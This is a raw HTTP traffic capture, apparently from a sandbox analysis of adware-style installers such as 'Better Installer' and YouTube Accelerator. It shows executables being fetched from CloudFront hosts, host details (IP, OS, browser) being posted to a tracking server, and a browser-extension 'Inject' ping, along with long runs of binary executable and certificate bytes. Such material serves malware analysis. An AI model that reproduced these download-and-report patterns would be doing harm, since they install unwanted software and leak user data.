.. ......>..Q...([email protected]\]#..Y.*.......T. .C.....A'..
5FW.ETDvX..tE.....g5.....&..&.....x.^H;...../7..'9.t.I&<[.HX.j....Q
w......}...qy3..q`<.....LB.9w|....;..Qw..a ..=.C.:.........


GET /pki/crl/products/WinPCA.crl HTTP/1.1


Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Mon, 06 Oct 2014 05:06:02 GMT
If-None-Match: "3e1c83923e1cf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Type: application/pkix-crl
Last-Modified: Sun, 21 Dec 2014 06:03:02 GMT
Accept-Ranges: bytes
ETag: "d2e35dc7e31cd01:0"
Server: Microsoft-IIS/8.0
VTag: 279876544500000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Content-Length: 561
Cache-Control: max-age=900
Date: Sat, 14 Feb 2015 03:59:53 GMT
Connection: keep-alive
0..-0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1 0)..U..."Microsoft Window
s Verification PCA..141220223154Z..150321105154Z._0]0...U.#..0.......p
............<.J0... .....7.......0...U......30... .....7......15032
0224154Z0...*.H.............h.~oH#i.J.vh_.....A'B..g...........F....9c
.{[email protected].^ 4.r..Wv.Q.0.w..j....c9..w....I..%.~.l..F.......xo....
_...o...7BR.;<..\R/ .....b.(....~..]|.v.u.i.X.B....I......./*...P..
A..fi.}& .x.v{TFP[.G......A......L.o...)R.......V.u..V.../.Q..(L.]....
.uki~......


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1


Cache-Control: max-age = 900
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Sat, 04 Oct 2014 05:06:12 GMT
If-None-Match: "58cddbea90dfcf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Type: application/pkix-crl
Last-Modified: Fri, 19 Dec 2014 06:02:00 GMT
Accept-Ranges: bytes
ETag: "9a9a44d511bd01:0"
Server: Microsoft-IIS/8.0
VTag: 43863145100000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Content-Length: 550
Cache-Control: max-age=900
Date: Sat, 14 Feb 2015 03:59:53 GMT
Connection: keep-alive
0.."0......0...*.H........0w1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1!0...U....Microsoft Time-St
amp PCA..141218221600Z..150319103600Z._0]0...U.#..0...#[email protected].. .
.5..0... .....7.......0...U......10... .....7......150318222600Z0...*.
H............./..0Q~.r.}.E....&\....F.Z.C..#..F.s........<&\..9G..-
....j..N... .C.Fk....;l.....2.K5D.........-.>...(...g.0.S.[?...T4q&
gt;[email protected].('..e...Y..Bo..q..........I....'....i>
..y:.eH@h`..\...UA.m#.~.. ;.3..d..;..<..........p..s..J..N `Az.....
[email protected]/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modifie
d: Fri, 19 Dec 2014 06:02:00 GMT..Accept-Ranges: bytes..ETag: "9a9a44d
511bd01:0"..Server: Microsoft-IIS/8.0..VTag: 43863145100000000..P3P: C
P="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SA
Mo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Conten
t-Length: 550..Cache-Control: max-age=900..Date: Sat, 14 Feb 2015 03:5
9:53 GMT..Connection: keep-alive..0.."0......0...*.H........0w1.0...U.
...US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corpo
ration1!0...U....Microsoft Time-Stamp PCA..141218221600Z..150319103600
Z._0]0...U.#..0...#[email protected].. ..5..0... .....7.......0...U......10.
.. .....7......150318222600Z0...*.H............./..0Q~.r.}.E....&\....
F.Z.C..#..F.s........<&\..9G..-....j..N... .C.Fk....;l.....2.K5D...
......-.>...(...g.0.S.[?...T4q>[email protected].('..e..
.Y..Bo..q..........I....'....i>..y:.eH@h`..\...UA.m#.~.. ;.3..d
<<< skipped >>>


GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=864229&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:32 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....



GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=281428-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 40204
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 281428-321631/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: DUvuY0GUgjpyz2xjEMRgtwXSS40r66WHIOehBo3ENqVHzlxAbI7h3A==
.h2..\...........................g2..]...........................f2..[
...............................I3') * )))*))()*   ,6J!54 CBA...jYPQTVT
SkllZTTXRTUiHceWda/..i...u....`..................._<bm....t^..}zy|y
x~....{|yvrrwsqpon....................................................
......................................................................
......................................................................
...................................................................(..
..... ...................................|WR......Q3..O1...b.sP?..Q2..
Q2..Y9..^G......`[email protected]................
..b...c...c...d...c...d...d...s ..x(...>..zZ..........g........x...
$...&...*... ... ...,...-...-.../...0...4...6...I.....................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'.
.Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q'..Q
<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1


User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: gyLIr3_DkC_OvDFaRH0oRg2sLoZBooVon1o590_VkHPwvQN4xxwa8A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=PriceGong_DealPly HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 04:00:39 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 04:00:39 GMT..Content-Length: 0..



GET /YTAFinishInstall.gif HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: pix.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Cache-Control: max-age=0, must-revalidate
Expires: Fri, 30 Oct 1998 14:29:43 GMT
Date: Mon, 07 Aug 2006 07:07:36 GMT
Connection: close
Content-Type:image/gif
GIF89a.............!.......,...........D..;..



GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1790
content-transfer-encoding: binary
Cache-Control: max-age=579059, public, no-transform, must-revalidate
Last-Modified: Fri, 13 Feb 2015 20:53:01 GMT
Expires: Fri, 20 Feb 2015 20:53:01 GMT
Date: Sat, 14 Feb 2015 04:02:02 GMT
Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015021
3205301Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20150213205301Z....20150220205301Z0...*.H........
.....?..D<... .|?.........4H......hu..t...G...0.oT.D..A.I..M.1,..D.
j...y.9-..v.....4... .......Yx0...hAo71x.......F..)....<V..1......m
....=...{wX.!./j.2.....HS..<X....NcE.,..)._H.m...u8.D......X..E....
.K\6.).|%?lfH..\..] [email protected]>0....D.Ac.[..q..Ood....[.f.......#0..
.0...0..........<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0.
..U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms
 of use at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class
 3 Code Signing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U...
.US1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U..
.2Terms of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3Veri
Sign Class 3 Code Signing 2009-2 OCSP Responder0.."0...*.H............
.0.........{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk
....(..........p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..J
A..~QG.d.}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h&
lt;.l....(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0.
..0...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://ww
w.verisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CP
S incorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0
...U........0... .....0......0"..U....0...0.1.0...U....TGV-B-24710
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=416430-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 694046
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].
<<< skipped >>>


GET /googleanalytics.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=epzieoysgq4zjz4kqsejb0jl


HTTP/1.1 200 OK
Content-Type: application/x-javascript
Content-Encoding: gzip
Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT
Accept-Ranges: bytes
ETag: "804165638984cf1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:59:20 GMT
Content-Length: 488
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"........4.......~Q......I...C|.
?..u3..........i.^......:...yp...................E~Y.W..m....i[T..b...
....e..._\|.........Yy......O......V.......................9.E?.3....A
!./..|.6w~...,?...2.J.fm.u.0...O...8-s4.....qA_\..~.<.~.]...9}.....
f...^N?....z....b..jj.....b..u.$?..|...._rg..X......2V...i]......{uu5.
..ogf..i.......Z^d.../......\.....]O.l:.......4~7M.n./gh.2............
.HTTP/1.1 200 OK..Content-Type: application/x-javascript..Content-Enco
ding: gzip..Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT..Accept-Range
s: bytes..ETag: "804165638984cf1:0"..Vary: Accept-Encoding..Server: Mi
crosoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:59:2
0 GMT..Content-Length: 488...............`.I.%&/m.{.J.J..t...`.$..@...
......iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"...
.....4.......~Q......I...C|.?..u3..........i.^......:...yp............
.......E~Y.W..m....i[T..b.......e..._\|.........Yy......O......V......
.................9.E?.3....A!./..|.6w~...,?...2.J.fm.u.0...O...8-s4...
..qA_\..~.<.~.]...9}.....f...^N?....z....b..jj.....b..u.$?..|...._r
g..X......2V...i]......{uu5...ogf..i.......Z^d.../......\.....]O.l:...
....4~7M.n./gh.2...............
<<< skipped >>>


GET /awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:56:54 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............z.F.6..?.....8...v...0......#..nI... ...LR."j_.w-..
..]..P.(.......".BU..Uk|....,Y~.H...d|....{.4..o.qo...F2...t......w.&g
t;Y$..b..{Q.L?,...w.........5....>...OJme..2.....T...w7.e..7N7...ts
6.4...t}..w9<...i4....s..........K../|.b.X.&.49......ez:.......r6..
i.t..._...4[~.k2w..y.....h9....._...n...I..t6...Et.....,f...x.........
XR......./....>..|.....l.....yv.t.....A.....1C.,..x..r<..~..r...
..........{..."s.....uO..b..G................"E..l2I.}<t....:..0...
}l.....4..............._.....E:O.'...lq1.?....x.%..l....P.y..bls..b..[
......7....e.....<].....y..=\.W....o...2wL3..}.qq.M..e......G...)b.
..e......l..x..apS<.....j....t0./......x..O...t9.........|t..t_..r.
Mn...%..#..|.......r.x._a..l9j..#L,z......H.h.r/...lS..y...g...q..l._.
..%?#...=_.C6..5.E#n.....Us.I.Jhp...<.e...a`.....E:=M.i..O/..[Zr.9.
....g..G.lr..J?..$.. ...........%d..O..,.<..)*.e-...9.]...Wo....)..
>.L....1...=.0..=..;p.O.CW..').......C..5...q...$.......M...T>..
.. (YJ....9HH'H..v........n..6.{..w...<..w.....rr.w..@o.......;.}..
...B..v.......q.k..".......x..<...r....\..A.*...i.z..2...;.ap....[W
.Nm..../u............/.../.....]?....{C....];<{_..{..[?[\.{_0.R..{o
...{...S..7......y........;_...[.~.........n......_........KpY./..8jf.
./B..q.X..Gr/.I(DQ..=K......x...0..t..".W...o.e..JY.ms..r...S.t..00?.v
.^.h2...i.m.J....R...w.............S...q.....<]^..W....{....'.5....
......=....^o]..$....f.f....~......y...hg?..l...p9.o...U6h...(J[....}.
O...(......e..|_.7..>.\....[.:...d....Q.....f/.[.ar9.c....a....
<<< skipped >>>

POST /installer/ajax HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Content-Length: 2197
Connection: Keep-Alive
Cache-Control: no-cache

country=UA&uid_orig=a023b93ee3ddb84f912034f3917e580f&uid=a023b93ee3ddb84f912034f3917e580f&affid=awat7zip54650&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=c95f2edcb978fb5cab1c88d6fd843155&tokyo_csrf_timestamp=1423886214&unique_id=9b2a2631e07de3ea563da5f894f4918c&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT87OhWgAKpiO4REHih3bZNHkqN
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:56:56 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
f86.............\.s.6..*8.....-...4u...i..k&N.sWu8..I8S.K.R.L....@..(Y
v.4.$3.S$.,........"..R%<[zg...d.c.V&.&...8...g/c..`....w.c;.{.F..Y
..l!...<.E...h....}..8_.L......0...[....],x..\1.n.......=...y....B.
\d3M...>....$.Y.....S.1..*....c....B..>.....r{....8...........&9
G..../Tv.".Hb.#.fj..Y....P.......\.......g"...#.,.....3X....o...].T.7.
..v...X...l..SW$.n.M..E,d>UE.FE.."......v..dj...........j...vJ.....
.....|....L.L.k.../d.....#...r..N...=....4.|...U.S]........,.L...f....
.S..b.G.g....6=S.................]......9fn\.....4.T.ys....v.{....3.XA
....j..4.<......... b.%{,rl,.......=....$.4.}.W..... ....',.x...Ak&
lt;7..c..%E*.W.B.V..4....SZ....tC.Gj....2.JC.......67~.....nB.k......{
..$E.......6m...Q...1u...l..p.#....S.....L.;[email protected]..{..\..".\...=.
..m....;.....4y1...a.<W0.w.$......e..B.k...j..^..x6...l.7...*.....&
lt;..=.h..38..b.po.'..e....<...0....'..L.d..|K...'.q....g.R.p....^\
<........9~U.(_...N...."< ...x...2...<..o.-H.B`FC.......HL.\.
.<t..a..{.5U:.........P......O~.*..O......DjD.U...0.q!.\.Qh. ......
.^......^.z..)]?Sj.V.U.z9....$$.w.[.....KHn.D..f"....2..._@..%........
........T...S4...u.u.........h-.n8..2...5..W....I.e.....Hw~I.N.v....yF
a.N,.w..W.D..U"... ..q.{....Nb.2.~...~.?...W{.nO.^xh:D....Z0..*.......
.EJ.....0..(.Uo.d2V.=.}/5.I........$e}x..1=K......f.XR.T...E..<t..i
[.*..8.8... c..Z..O...u.........l...% J3.8...f.N5......[...4.F.\..=...
.[....%5......">.....j1^..d.e*Cl...H.....-.!>............=.>.
(F..{d.50h..FG....{."...n..J.ypj5.......k.,...<D....mu"k=o..c..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=142780-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 142778
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 142780-285557/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: eCGH7HpN3x83syDJPijh99A2Geu_XzpPm894alp3CQmkr97UOllyIQ==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...
<<< skipped >>>


GET /ytai.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3dle8xo1zpfnz.cloudfront.net
Connection: Keep-Alive



......~tP...........................|T..x=.F...?.F........~...F.~%....
...N..F........;G.F...~................@......;.|...3..E........j.j...
....M...M.j.j..s.............U..SV..W.}.9~.}-.]...;N.}#.F......A....N.
.F...........N.9~.|..V..^..E.;.}..... ....f.... ..8....)~.....YK._^#.[
]...U...E.9A.v..y..r.....]...h.vJ...%...U.....j.h9.I.d.....P........tM
.3...$....SVW..tM.3.P..$....d........E..u.Q.L$ .t$..D$........$......L
$..^......W...3.C.}........3...$......$......$..........$......$......
$.....w..L$..>......L$.P.....P..$......P.W...$......|$x..$......L$.
..$.....C|$x.....VW.L$$.......$.....L$xj.S.......$.......$....j.S.....
.]..........L$.P.......tV.L$......P...].........d$0P.......$......O...
..$......P...~.P.L$ .%....L$..D$.P.......3...$......L$..........$....d
......Y_^[..$....3..9=....]...j..r.I.........u.Q.N ..PlK..F.. ....5...
e..........M.....P......U..V........E..t.V..<..Y..^]...j..r.I..T...
...u...PlK..e...~..t..~..t..v...<..Y.M...N ..5........U..VW.}...;.t
&.G..F..G..F..[....G... G.P.G..G.P....._..^]...j....H.........G ..t..G
$.@...$..P.M.......e...w..w..M...M.........j....j....H.........G ..t..
G$.@...$..P.M..\....e...w..w..M...M..l......#....j....H..H......G ..t.
.G$.@...$..P.M.......e...w. w..M...M..%...........j....H.........}..tR
.}...tKW.P.....tD.F ..t..F$.@...$..P.M.......e...F..F.W.u.P..;...~....
